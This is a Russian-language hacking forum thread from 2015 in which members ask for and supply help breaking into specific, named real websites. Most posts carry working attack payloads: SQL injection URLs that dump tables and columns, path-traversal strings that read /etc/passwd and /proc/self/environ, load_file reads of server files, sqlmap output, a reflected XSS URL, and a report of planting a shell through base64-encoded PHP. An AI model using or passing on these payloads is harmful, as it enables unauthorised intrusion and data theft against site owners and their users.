$.get('?ajax=1&task=testCurl', function( data ) {
__echo( data );

__echo('
3. Тестированиe внешних запросов из php-функции copy()...');
$.get('?ajax=1&task=testCopy', function( data ) {
__echo( data );

__echo('
4. Тестированиe сохранения файла из php-функции file_get_contents()...');
$.get('?ajax=1&task=testFileGetContentsSaveFile', function( data ) {
__echo( data );

__echo('
5. Тестированиe сохранения файла с помощью библиотеки CURL...');
$.get('?ajax=1&task=testCurlSaveFile', function( data ) {
__echo( data );

__echo('

Тестирование завершено!');

$('#sbmt').show();
$('#loading').hide();

То есть доступными функциями для тестирования будут те, которые описаны в скрипте + те, для вызоав которых не нужна передача аргументов.
Потому что итоговая строка строится как $func= $_GET['task'].'()'
Такие функции для php можешь посмотреть здесь ->
http://php.net/manual/ru/ref.info.php

понятно, значит вариант дохлый,даже файлы конфига не прочитать

sunnyfruit

15.05.2015, 21:26

Ребята, пробую phpinfo LFI пробить.

Во всех случаях временный файл удаляется раньше инклуда.

Ни у кого нету 100% рабочего сплойта, который не удаляется?

Отчего зависит время жизни tmp файла?

faza02

16.05.2015, 00:25

sunnyfruit said:
↑ (https://antichat.live/posts/3847774/)
Ребята, пробую phpinfo LFI пробить.
Во всех случаях временный файл удаляется раньше инклуда.
Ни у кого нету 100% рабочего сплойта, который не удаляется?
Отчего зависит время жизни tmp файла?

как узнал, что удаляется? уверен, что создается? пробовал эксплоит написать, чтобы не вручную это делать?

madam

17.05.2015, 06:24

блин,вот всё из таблиц могу вывести,но вот нужную колонку никак не хочет выводить,мож я что не так делаю,запрос такой

'and(select 1 from(select count(*),concat((SELECT security_question FROM member WHERE member_id =1000),floor(rand(0)*2))x from information_schema.tables group by x)a)and' ????

может ещё есть какой вариант

faza02

17.05.2015, 13:53

madam said:
↑ (https://antichat.live/posts/3848367/)
блин,вот всё из таблиц могу вывести,но вот нужную колонку никак не хочет выводить,мож я что не так делаю,запрос такой
'and(select 1 from(select count(*),concat((SELECT security_question FROM member WHERE member_id =1000),floor(rand(0)*2))x from information_schema.tables group by x)a)and' ????
может ещё есть какой вариант

не смотрел корректность вектора, но запрос верный. какая ошибка? может там waf на member?

madam

17.05.2015, 14:34

faza02 said:
↑ (https://antichat.live/posts/3848452/)
не смотрел корректность вектора, но запрос верный. какая ошибка? может там waf на member?

ошибку не показывает,просто обновляется страница,хотя из member можно извлечь всё кроме security_question и security_answer,(самые нужные)))

kingbeef

17.05.2015, 14:54

сделай count(security_question) from member

faza02

17.05.2015, 17:11

kingbeef said:
↑ (https://antichat.live/posts/3848474/)
сделай count(security_question) from member

да. вдруг не заполняется вовсе.

madam said:
↑ (https://antichat.live/posts/3848470/)
ошибку не показывает,просто обновляется страница,хотя из member можно извлечь всё кроме security_question и security_answer,(самые нужные)))

или скинь сюда, посмотрим

teh

17.05.2015, 17:19

Привет, кто знает, могу читать файлы через load_file, незнаю только как найти полный путь к корню сайта на сервере, может можно, как то через load_file ? сервер Apache 2.2.22

faza02

17.05.2015, 17:27

teh said:
↑ (https://antichat.live/posts/3848528/)
Привет, кто знает, могу читать файлы через load_file, незнаю только как найти полный путь к корню сайта на сервере, может можно, как то через load_file ? сервер на Apache 2.2.22

найдите конфиг апача, httpd, из него получите document root.

faza02

17.05.2015, 17:30

Unknowhacker said:
↑ (https://antichat.live/posts/3848531/)
Не могу спроектировать XSS

Code:
http://www.ifeet.com.ua/system.html

в поле поиск ">alert('XSS') смотрим исходный код (строка
268
)
значит должно быть

Code:
http://www.ifeet.com.ua/system.html?query=XSS

запрос передается через POST, а вы шлете через GET. чуете разницу?

http://hackers2devnull.blogspot.ru/2013/07/exploiting-post-method-xss-silently.html

teh

17.05.2015, 17:52

faza02 said:
↑ (https://antichat.live/posts/3848532/)
найдите конфиг апача, httpd, из него получите document root.

а в апаче 2.2.22, где он находиться?

faza02

17.05.2015, 17:57

teh said:
↑ (https://antichat.live/posts/3848548/)
а в апаче 2.2.22, где он находиться?

а вот это уже ваша задача, куда админ положил, там и будет.

/threads/324564/ (https://antichat.live/threads/324564/)

какая ОС на сервере?

teh

17.05.2015, 18:00

faza02 said:
↑ (https://antichat.live/posts/3848551/)
а вот это уже ваша задача, куда админ положил, там и будет.
/threads/324564/ (https://antichat.live/threads/324564/)
какая ОС на сервере?

убунту

madam

17.05.2015, 18:05

kingbeef said:
↑ (https://antichat.live/posts/3848474/)
сделай count(security_question) from member

спасибо))

Unknowhacker

18.05.2015, 10:43

На кавычку вроде реагирует, но не знаю, считается ли это SQL-Инъекцией

Code:
www.chromecrm.com/wyniki-wyszukiwania/?id=109&asId=as0'

Br@!ns

18.05.2015, 12:11

select user() показывает что я dbauser@server.

в load_file('/etc/hosts') указывается строка: "209.200.x.x server server.site.com"

сам сайт находится на ип 209.200.x.x. реальный путь раскрыл, но файлы не читает.

Что в данном случае показывает запись в хостсе? не логично ли что я нахожусь на нужной машине и все должно читаться?

BabaDook

18.05.2015, 14:57

Unknowhacker said:
↑ (https://antichat.live/posts/3848826/)
На кавычку вроде реагирует, но не знаю, считается ли это SQL-Инъекцией

Code:
www.chromecrm.com/wyniki-wyszukiwania/?id=109&asId=as0'

по моему нету

Br@!ns

18.05.2015, 15:45

Code:
http://www.coreknowledge.org/m'

Помогите раскрутить

faza02

18.05.2015, 15:51

Br@!ns said:
↑ (https://antichat.live/posts/3848944/)

Code:
http://www.coreknowledge.org/m'

Помогите раскрутить

GET /m'|(select*from(select+name_const(version(),1),nam e_const(version(),1))a)='1

однако name_const здесь не сработает, нужен другой вектор. сейчас посмотрю

UPD:

GET /m'||1%20group%20by%20concat((select%20table_name%2 0from%20information_schema.tables%20limit%200,1),f loor(rand(0)*2))having%20min(0)='1

SQL: select * from mimik_Menus where lookup_code = 'm'||1 group by concat((select table_name from information_schema.tables limit 0,1),floor(rand(0)*2))having min(0)='1'

MySQL_ERROR: Duplicate entry 'CHARACTER_SETS1' for key 1

huntercs16

18.05.2015, 16:29

http://astrodaily.ru/statya.php?s=astrologia_nauka.php (http://astrodaily.ru/statya.php?s=astrologia_nauka.php%00)

ребят, тут можно как то LFI раскрутить?

faza02

18.05.2015, 16:33

huntercs16 said:
↑ (https://antichat.live/posts/3848973/)
http://astrodaily.ru/statya.php?s=astrologia_nauka.php (http://astrodaily.ru/statya.php?s=astrologia_nauka.php%00)
ребят, тут можно как то LFI раскрутить?

Code:
http://astrodaily.ru/statya.php?s=lol/../../../../../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

frank

18.05.2015, 16:44

Br@!ns said:
↑ (https://antichat.live/posts/3848944/)

Code:
http://www.coreknowledge.org/m'

Помогите раскрутить

В догонку к тому что faza02 написал

HTML:
http://www.coreknowledge.org/mimik/mimik_live_data/view.php?id=194&sp_id=4&type=%3Cscript%3Ealert%28%27xss%27%29;%3C/script%3E&q=search

поиск.. id=194 строго, все что отличается от этого скул ошибка и

SQL: SELECT 1 FROM Fields WHERE type='Group Permission' AND table_id=

MySQL_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

параметh sp_id, если оставить пустым - ошибка

SQL: select name from mimik_Standalone_Pages where id =

MySQL_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

Скорее всего тоже можно раскрутить по образу как faza02 написал... параметр type не фильтруется, что в примере выше и показал, ксс отраженная проходит на ура.

Br@!ns

18.05.2015, 17:27

faza02 said:
↑ (https://antichat.live/posts/3848951/)
GET /m'|(select*from(select+name_const(version(),1),nam e_const(version(),1))a)='1
однако name_const здесь не сработает, нужен другой вектор. сейчас посмотрю

Можно, но трудно:

http://www.coreknowledge.org/141241...es`b`)using(TABLE_CATALOG,TABLE_SCHEMA))c )='1 (http://www.coreknowledge.org/14124124m'and(1)=(select*from(select*from(informat ion_schema.tables`a`)JOIN(information_schema.table s`b`)using(TABLE_CATALOG,TABLE_SCHEMA))c)='1)

faza02

18.05.2015, 17:35

Br@!ns said:
↑ (https://antichat.live/posts/3848993/)
Можно, но трудно:
http://www.coreknowledge.org/141241...es`b`)using(TABLE_CATALOG,TABLE_SCHEMA))c )='1 (http://www.coreknowledge.org/14124124m'and(1)=(select*from(select*from(informat ion_schema.tables`a`)JOIN(information_schema.table s`b`)using(TABLE_CATALOG,TABLE_SCHEMA))c)='1)

я ж скинул вектор, что не так? там все нормально крутится и не сложно

Code:
http://www.coreknowledge.org/m%27||1%20group%20by%20concat%28%28select%20table_ name%20from%20information_schema.tables%20limit%20 0,1%29,floor%28rand%280%29*2%29%29having%20min%280 %29=%271

Br@!ns

18.05.2015, 22:31

Тут можно что нибудь сделать?

Code:
http://www.woodworkersworkshop.com/resources/index.php?search=asfasfasf

faza02

18.05.2015, 22:40

Br@!ns said:
↑ (https://antichat.live/posts/3849108/)
Тут можно что нибудь сделать?

Code:
http://www.woodworkersworkshop.com/resources/index.php?search=asfasfasf

Code:
http://www.woodworkersworkshop.com/resources/index.php?search=%27)|updatexml(1,repeat(version() ,2),1)%23

truelamer

20.05.2015, 13:16

Br@!ns said:
↑ (https://antichat.live/posts/3849789/)
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n'
=> #1148 - The used command is not allowed with this MySQL version
версия судя по всему, не подходит

Другие команды чтения и записи выдают, что у пользователя не достаточно прав

teh

20.05.2015, 13:44

Code:
http://www.svetodom.ru/brand/1%27%20and%28select%201%20from%28select%20count%28 *%29,concat%28%28select%20%28select%20concat%28Tab le_name%29%29%20from%20information_schema.tables%2 0limit%20100,1%29,floor%28rand%280%29*2%29%29x%20f rom%20information_schema.tables%20group%20by%20x%2 9a%29%20and%201=1--+/

до таблиц добрался, как дальше выбрать таблицу и узнать столбцы, и узнать информацию в столбцах?

faza02

20.05.2015, 13:50

teh said:
↑ (https://antichat.live/posts/3849845/)

Code:
http://www.svetodom.ru/brand/1%27%20and%28select%201%20from%28select%20count%28 *%29,concat%28%28select%20%28select%20concat%28Tab le_name%29%29%20from%20information_schema.tables%2 0limit%20100,1%29,floor%28rand%280%29*2%29%29x%20f rom%20information_schema.tables%20group%20by%20x%2 9a%29%20and%201=1--+/

до таблиц добрался, как дальше выбрать таблицу и узнать столбцы, и узнать информацию в столбцах?

select column_name from information_schema.columns where table_name = TABLE

Code:
http://www.svetodom.ru/brand/1+and(extractvalue(1,concat(0x3a,(select(column_na me)from+information_schema.columns+where+table_nam e=0x444f434c495354+limit+0,1))))=1/

Br@!ns

20.05.2015, 14:03

truelamer said:
↑ (https://antichat.live/posts/3849834/)
Другие команды чтения и записи выдают, что у пользователя не достаточно прав

Ну вообще вроди как права на чтения и ненужны, при той команде что я написал выше.

Code:
https://rdot.org/forum/showthread.php?t=741

faza02

20.05.2015, 14:30

не думали, что mysql просто сконфигурирован корректно?

huntercs16

20.05.2015, 15:07

http://sartraccc.ru/i.php?filename=11/book.htm&oper=read_file

Ребятa, тут есть LFI

Можно как то достучаться до /etc/passwd и /etc/hosts, фильтруется как то непонятно

faza02

20.05.2015, 17:28

huntercs16 said:
↑ (https://antichat.live/posts/3849887/)
http://sartraccc.ru/i.php?filename=11/book.htm&oper=read_file
Ребятa, тут есть LFI
Можно как то достучаться до /etc/passwd и /etc/hosts, фильтруется как то непонятно

там фильтр на etc. но в другом скрипте нет:

Code:
http://sartraccc.ru/print.php?print_file=/etc/passwd

HAXTA4OK

21.05.2015, 12:01

ЛОГИНЫ ПАРОЛИ В ОТКРЫТОМ ВИДЕ ЗДЕСЬ НЕ ПОСТИМ

teh

22.05.2015, 02:04

Помогите с выводом

вроде все хорошо

Code:
http://helpmerchants.com/product_info.php?product_id=-425+union+select+1,table_name+from+information_sch ema.tables+limit+0,1--

но как хочу достать инфу, ничего не выводить

Code:
http://helpmerchants.com/product_info.php?product_id=-425+union+select+1,AddressInfoID+from+helpusr.addr essinfo--

faza02

22.05.2015, 02:17

teh said:
↑ (https://antichat.live/posts/3850565/)
Помогите с выводом
вроде все хорошо

Code:
http://helpmerchants.com/product_info.php?product_id=-425+union+select+1,table_name+from+information_sch ema.tables+limit+0,1--

но как хочу достать инфу, ничего не выводить

Code:
http://helpmerchants.com/product_info.php?product_id=-425+union+select+1,AddressInfoID+from+helpusr.addr essinfo--

Code:
http://helpmerchants.com/product_info.php?product_id=-425+union+select+1,count(AddressInfoID)+from+addre ssinfo--+

count = 0.

Code:
http://helpmerchants.com/product_info.php?product_id=-425+union+select+1,count(username)+from+users+limi t+0,1--

count = 0

kacergei

23.05.2015, 05:12

.SpoilerTarget" type="button">Spoiler: Сайт
Сайт: https://www.badjobs.ru/savereview/

POST:

Code:
company=35135&security=f06d85943be1c7e76fa14c55f5097923&first_name=3287767&last_name=3947913&email=(не будет опубликована на сайте)&work_address=8194439&status=job&position=2095909&data_start_year=2015&data_end_year=2015&salary_start=3671772&salary_end=5211413&good=WCRTEXTAREATESTINPUT6708725&bad=WCRTEXTAREATESTINPUT9767053&data_start_month=0&data_end_month=0&perspective=1&boss=1&operating_conditions=1&soc_package=1&collective=1&city_jobs=1

Параметр: city_jobs
sqlmap:

Code:
---
Parameter: city_jobs (POST)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: company=35135&security=f06d85943be1c7e76fa14c55f5097923&first_name=3287767&last_name=3947913&email=(не будет опубликована на сайте)&work_address=8194439&status=job&position=2095909&data_start_year=2015&data_end_year=2015&salary_start=3671772&salary_end=5211413&good=WCRTEXTAREATESTINPUT6708725&bad=WCRTEXTAREATESTINPUT9767053&data_start_month=0&data_end_month=0&perspective=1&boss=1&operating_conditions=1&soc_package=1&collective=1&city_jobs=(SELECT (CASE WHEN (8743=8743) THEN 8743 ELSE 8743*(SELECT 8743 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: company=35135&security=f06d85943be1c7e76fa14c55f5097923&first_name=3287767&last_name=3947913&email=(не будет опубликована на сайте)&work_address=8194439&status=job&position=2095909&data_start_year=2015&data_end_year=2015&salary_start=3671772&salary_end=5211413&good=WCRTEXTAREATESTINPUT6708725&bad=WCRTEXTAREATESTINPUT9767053&data_start_month=0&data_end_month=0&perspective=1&boss=1&operating_conditions=1&soc_package=1&collective=1&city_jobs=1 AND (SELECT * FROM (SELECT(SLEEP(5)))iqmj)
---
[06:49:55] [INFO] testing MySQL
[06:49:55] [INFO] confirming MySQL
[06:49:55] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.28
back-end DBMS: MySQL >= 5.0.0

faza02

23.05.2015, 07:27

kacergei said:
↑ (https://antichat.live/posts/3850962/)
Не подскажите в чем может быть проблема? Никак не выводит список баз

Code:
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: city_jobs (POST)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: company=35135&city_jobs=(SELECT (CASE WHEN (8743=8743) THEN 8743 ELSE 8743*(SELECT 8743 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: company=35135&city_jobs=1 AND (SELECT * FROM (SELECT(SLEEP(5)))iqmj)
---
[04:08:59] [INFO] testing MySQL
[04:08:59] [INFO] confirming MySQL
[04:08:59] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.28
back-end DBMS: MySQL >= 5.0.0
[04:08:59] [INFO] fetching database names
[04:08:59] [INFO] fetching number of databases
[04:09:04] [INFO] retrieved:
[04:09:04] [WARNING] multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically
[04:09:04] [WARNING] time-based comparison requires larger statistical model, please wait.........................
[04:09:26] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[04:09:28] [INFO] retrieved:
[04:09:28] [ERROR] unable to retrieve the number of databases
[04:09:28] [INFO] falling back to current database
[04:09:28] [INFO] fetching current database
[04:09:28] [INFO] retrieving the length of query output
[04:09:32] [INFO] retrieved:
[04:09:37] [INFO] retrieved:
[04:09:42] [INFO] retrieved:
[04:09:42] [CRITICAL] unable to retrieve the database names

так никто вам не ответит, нужно смотреть сайт

huntercs16

23.05.2015, 14:27

Ребята, есть сайт, в сторонних бд которого (не в текущей базе) лежат джумлы.

Как нибудь можно узнать какому сайту принадлежит база джумлы?

Например в ВП это делается 1 запросом..

faza02

23.05.2015, 15:58

huntercs16 said:
↑ (https://antichat.live/posts/3851037/)
Ребята, есть сайт, в сторонних бд которого (не в текущей базе) лежат джумлы.
Как нибудь можно узнать какому сайту принадлежит база джумлы?
Например в ВП это делается 1 запросом..

таблицы там такой нет. максимум это поиск по контенту или титлу.

https://rdot.org/forum/showthread.php?t=1990

ErrNick

23.05.2015, 16:24

какие есть варианты поиска абсолютного пути если имеется рутовый доступ в мускуле?

файл конфига апача не помог тк там Include /etc/apache2/sites-enabled/ а что тут хз ,пробовал site_ru.conf, site.ru.conf, site.ru,siteru.conf не нашел

перелопатил все базы в поиске пути ничего не нашел гугл тоже не помог

Debian GNU/Linux 6.0 \n \l

faza02

23.05.2015, 16:28

ErrNick said:
↑ (https://antichat.live/posts/3851068/)
какие есть варианты поиска абсолютного пути если имеется рутовый доступ в мускуле?
файл конфига апача не помог тк там Include /etc/apache2/sites-enabled/ а что тут хз ,пробовал site_ru.conf, site.ru.conf, site.ru,siteru.conf не нашел
перелопатил все базы в поиске пути ничего не нашел гугл тоже не помог
Debian GNU/Linux 6.0 \n \l

https://rdot.org/forum/showthread.php?t=82

заодно соседей посмотрите на сайте через реверс, возможно через них получится

Br@!ns

24.05.2015, 17:34

Помогите раскрутить.

.SpoilerTarget" type="button">Spoiler
http://myevent.com/1/helpcenter.htm

уязвимое поле - поиск

в итоге поулчаем запрос

http://myevent.com/submit.php

POST

searchString=dfghdfhdfhdfh' or+1='1&componentID=search_help&submitted=1 - TRUE

searchString=dfghdfhdfhdfh' or+1='2&componentID=search_help&submitted=1 - FALSE

faza02

24.05.2015, 18:41

Br@!ns said:
↑ (https://antichat.live/posts/3851349/)
Помогите раскрутить.
Spoiler
http://myevent.com/1/helpcenter.htm
уязвимое поле - поиск
в итоге поулчаем запрос
http://myevent.com/submit.php
POST
searchString=dfghdfhdfhdfh' or+1='1&componentID=search_help&submitted=1 - TRUE
searchString=dfghdfhdfhdfh' or+1='2&componentID=search_help&submitted=1 - FALSE

с sqli в поиске чаще всего встречается уязвимость в LIKE (%inj%), поэтому нужно закрыть скобку и крутить как обычно:

Code:
') union select 1,2,version(),4-- f

5.5.38-0ubuntu0.12.04.1-log

Br@!ns

25.05.2015, 10:31

что тут можно сделать? Вывода я так понимаю не добиться, ну хотя бы на blind раскрутить.

.SpoilerTarget" type="button">Spoiler
https://secure.androticsdirect.com/register.php?

POST

xid=8f75e2274108df112c5f2ad2d230f9bb&title=Mr.&firstname=rwesdf&lastname=wedsa&company=&b_address=ewsfd&b_address_2=&b_city=wesdf&b_state=CA&b_country=US&b_zipcode=52323&s_address=&s_address_2='&s_city=&s_state=CA&s_country=US&s_zipcode=&phone=352523523&email=asfasf'+union+select+1+--+&fax=&url=&additional_values%5B1%5D=Yes&uname=long33&passwd1=123123&passwd2=123123&anonymous=&usertype=C

huntercs16

25.05.2015, 12:23

Помогите найти папку, в которой сайт лежит.

Перебрал стандартные httpd conf пути-не подходит.

http://sovita.ru/index.php?bpath=/m...t+1,2,3,4,5,6,7,load_file('/etc/hosts'),9+--+ (http://sovita.ru/index.php?bpath=/menu/regions/moscow&cont=30&mreg=-1+union+select+1,2,3,4,5,6,7,load_file('/etc/hosts'),9+--+)

Br@!ns

25.05.2015, 12:57

http://www.sovita.ru/forum/support.php

Пасс в личку кинул

huntercs16

25.05.2015, 14:28

Br@!ns said:
↑ (https://antichat.live/posts/3851605/)
http://www.sovita.ru/forum/support.php
Пасс в личку кинул

http://tele-club.ru/buyticket?event_id=-1+union+select+1,2,3,load_file("/etc/hosts"),5,6,7,8,9,10+--+;

А тут можно директорию определить?

/etc/passwd говорит о том что сайт может лежать в

/var/www/m.tele-club.ru/data/robots.txt

Но конкретно эту не хочет читать...

Br@!ns

25.05.2015, 15:13

huntercs16 said:
↑ (https://antichat.live/posts/3851644/)
http://tele-club.ru/buyticket?event_id=-1+union+select+1,2,3,load_file(
"/etc/hosts"),5,6,7,8,9,10+--+;
А тут можно директорию определить?
/etc/passwd говорит о том что сайт может лежать в
/var/www/m.tele-club.ru/data/robots.txt
Но конкретно эту не хочет читать...

{ШЕЛЛЫ тоже запрещено выкладывать, логины и пароли тоже} ps нахтак (http://tele-club.ru/forum/support.php)

Опять же, по базам лазить нужно, там пути искать, а не только пытаться инклудить конфиги

Пароли от форума или админки поискать, и сразу уже залиться.

/var/www/tele-club.ru/www/forum/ (http://tele-club.ru/forum/support.php) вот такой путь получился

off

25.05.2015, 16:21

Добрый день.

Есть сервер под управлением Ubuntu 12.04, на нем стоит mongodb 2.4.14 на которой настроена авторизация, но есть доступ. А так же redis 2.4.13, доступ тоже есть. В redis хранятся сессии от node.js (express.js).

Возможно ли каким-либо образом получить доступ к ОС ? Или прочитать файл .js (местоположение на сервере известно) или получить доступ к админке (путь известен и логин админа тоже).

По redis, нашел описание уязвимости по модификации местоположения файла dump.rdb (http://www.agarri.fr/kom/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html), но эксплуатация не удается, файл создается но содержимое его видимо в бинарном виде.

Br@!ns

25.05.2015, 22:01

.SpoilerTarget" type="button">Spoiler: link
http://www.inkaddict.com/search.php
Можно как нибудь это заиспользовать?

И что тут можно сделать?

http://visotsky.org/ru/search?q=(dsfsdf (http://visotsky.org/ru/search?q=%28dsfsdf)

Br@!ns

26.05.2015, 16:41

куча waf всяких. Можно как нибудь обойти на нормальный вывод?

http://scdistribution.com/resources.html?q_release=-2015-05-12'+or+substring(@@version,1,1)=5+--+

и все равно ругается на многие комбинации.

huntercs16

27.05.2015, 19:48

http://bramki.eskat.com.pl/index.ph.../././././././././././././././././././././././ (http://bramki.eskat.com.pl/index.php?s=karty/../../../../../../../../../../../../../../../proc/self/environ/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././)

При постановке данных в куки и Юзер агент работает phpinfo(), но не осмысленный код, который позволяет залиться.

Пробовал в куки ставить

Опять же сложный код не работает

Что сделать можно?

$_POST[c]=/*$s='/home/virtualki/18281'*/;echo '111';echo 222; = работает

$_POST[c]=$s='/home/virtualki/18281';echo '111';echo 222; =не работает

echo('111');echo 222; -работает

Залился, помог base64

Sleep

27.05.2015, 23:11

Можно было попробовать еще через

/proc/self/environ

в User-agent например вставляешь php код

huntercs16

28.05.2015, 18:49

Code:
http://pelczar.rzeszow.pl/duszpasterstwoszpitala/index.php?action=aktualnosci/../../../../../../../../../../../../../../../proc/self/environ/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.